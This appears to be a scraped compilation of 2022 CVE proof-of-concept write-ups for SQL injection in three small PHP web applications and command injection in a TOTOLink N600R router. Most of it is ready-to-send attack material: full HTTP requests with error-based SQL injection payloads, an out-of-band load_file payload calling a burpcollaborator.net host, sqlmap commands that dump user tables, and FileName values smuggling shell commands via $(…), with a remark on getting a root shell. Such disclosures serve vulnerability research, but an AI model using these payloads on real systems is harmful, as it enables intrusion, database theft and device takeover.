Simple Client Management System 1.0 is vulnerable to SQL Injection via /cms/classes/Master.php?f=delete_service.

Permalink

Cannot retrieve contributors at this time

**Simple-Client-Management-System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

Vulnerability File: /cms/classes/Master.php?f=delete\_service

Vulnerability location: /cms/classes/Master.php?f=delete\_service, id

\[+\] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /cms/classes/Master.php?f\=delete\_service HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/cms/admin/?page=maintenance/services
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5u3dthmlo3ajo2g7k8pfvb4g8h
Connection: close
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-29750: bug_report/SQLi-3.md at main · k0xx11/bug_report

Simple Client Management System 1.0 is vulnerable to SQL Injection via /cms/classes/Master.php?f=delete_client.

Permalink

Cannot retrieve contributors at this time

**Simple-Client-Management-System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

Vulnerability File: /cms/classes/Master.php?f=delete\_client

Vulnerability location: /cms/classes/Master.php?f=delete\_client, id

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /cms/classes/Master.php?f\=delete\_client HTTP/1.1
Host: 192.168.1.19
Content\-Length: 61
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/cms/admin/?page=client
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5u3dthmlo3ajo2g7k8pfvb4g8h
Connection: close
id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),0)--+ // Leak place ---> id

CVE-2022-29751: bug_report/SQLi-5.md at main · k0xx11/bug_report

Complete Online Job Search System v1.0 was discovered to contain a SQL injection vulnerability via /eris/index.php?q=result&searchfor=advancesearch.

\--- tags: CVE --- # Complete Online Job Search System Sql Injection \* \`Description\` => sql injection at \`Advance Search\` \* \`Injection Point\` \`\`\`python= SEARCH=972676&COMPANY='%2b(select%20load\_file('%5c%5c%5c%5cjvinr1qkhm4gaenevj08hk95uw0poge457tzgq4f.burpcollaborator.net%5c%5crij'))%2b'&CATEGORY=&submit=Submit \`\`\` # Exploit \* Use \`Burp Suite\` capture request then save as \`job.txt\` \`\`\`python= POST /eris/index.php?q=result&searchfor=advancesearch HTTP/1.1 Host: 192.168.1.101 Origin: http://192.168.1.101 Cookie: PHPSESSID=1dhucklh9bmi4ks7v86dch2k2f Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.101/eris/index.php?q=advancesearch Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 46 SEARCH=972676&COMPANY='%2b(select%20load\_file('%5c%5c%5c%5cjvinr1qkhm4gaenevj08hk95uw0poge457tzgq4f.burpcollaborator.net%5c%5crij'))%2b'&CATEGORY=&submit=Submit \`\`\` \* Use \`Sqlmap\` exploit databases \`\`\`python= python3 sqlmap.py -r job.txt -current-db \`\`\` !\[\](https://i.imgur.com/iKybK4N.png) \`\`\`python= python3 sqlmap.py -r job.txt -D erisdb --tables \`\`\` !\[\](https://i.imgur.com/cmyrHUr.png) \`\`\`python= python3 sqlmap.py -r job.txt -columns -D erisdb -T tblusers -dump \`\`\` !\[\](https://i.imgur.com/GgrDCOM.png) # Vulnerable Code !\[\](https://i.imgur.com/8C9pNAQ.png) No filter input when inserting data to database https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/

CVE-2022-29316: Complete Online Job Search System Sql Injection - HackMD

Simple Bus Ticket Booking System v1.0 was discovered to contain multiple SQL injection vulnerbilities via the username and password parameters at /assets/partials/_handleLogin.php.

\--- tags: CVE --- # Simple Bus Ticket Booking System SQL Injection \* \`Description\` => sql injection at login to admin \* \`Injection Point\` \`\`\`python= username=\*&password=000000&submit= \`\`\` # Exploit \* Use \`Burp Suite\` capture request then save as \`bus.txt\` \`\`\`python= POST /SimpleBusTicket-PHP/assets/partials/\_handleLogin.php HTTP/1.1 Host: 192.168.1.101 Content-Length: 34 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.101 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.101/SimpleBusTicket-PHP/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=3aqqbkop81gpl260kvpq42stgo Connection: close username=\*&password=000000&submit= \`\`\` \* Use \`Sqlmap\` exploit databases \`\`\`python= python3 sqlmap.py -r bus.txt --current-db \`\`\` !\[\](https://i.imgur.com/D7u0l5b.png) \`\`\`python= python3 sqlmap.py -r bus.txt -D sbtbsphp --tables \`\`\` !\[\](https://i.imgur.com/jel63Am.png) \`\`\`python= python3 sqlmap.py -r bus.txt -columns -D sbtbsphp -T users -dump \`\`\` !\[\](https://i.imgur.com/8V68ANF.png) # Vulnerable Code !\[\](https://i.imgur.com/cIRhPMW.png) \* No filter \`user\_id\` when inserting data to database https://codeastro.com/simple-bus-ticket-booking-system-in-php-with-source-code/

CVE-2022-29317: Simple Bus Ticket Booking System SQL Injection - HackMD

TOTOLink N600R V5.3c.7159_B20190425 was discovered to contain a command injection vulnerability via the filename parameter in /setting/setUploadSetting.

**TOTOlink N600R V5.3c.7159\_B20190425 Command injection vulnerability****Overview**

*   Manufacturer's website information：http://www.totolink.cn
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=2&ids=36

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The program passes the content obtained through the filename function to V6, then formats the matched content into V33 through the sprintf function, and then brings V33 into getcmdstr

At this time, the corresponding parameter A1 is finally brought into the Popen function, and there is a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V5.3c.7159\_B20190425
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 102
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647874864:2
    Connection: close
    
    {"topicurl":"setting/setUploadSetting",
    "FileName":"test1$(ls>/tmp/10.txt;)",
    "ContentLength":"1"
    }
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28913: IOT_vuln/TOTOLink/N600R/10 at main · EPhaha/IOT_vuln

TOTOLink N600R V5.3c.7159_B20190425 was discovered to contain a command injection vulnerability via the filename parameter in /setting/setUpgradeFW.

**TOTOlink N600R V5.3c.7159\_B20190425 Command injection vulnerability****Overview**

*   Manufacturer's website information：http://www.totolink.cn
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=2&ids=36

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The program passes the contents obtained by the filename parameter to V8

Then, format the matching content of V8 through the sprintf function into V31, and bring V31 into the cstesystem function

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V5.3c.7159\_B20190425
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 111
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/upload_firmware.asp?timestamp=1647873626298
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647873424:2
    Connection: close
    
    {"topicurl":"setting/setUpgradeFW",
    "FileName":"test1$(ls>/tmp/8.txt;)",
    "ContentLength":"1",
    "Flags":"1"
    }
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

Tag

#webkit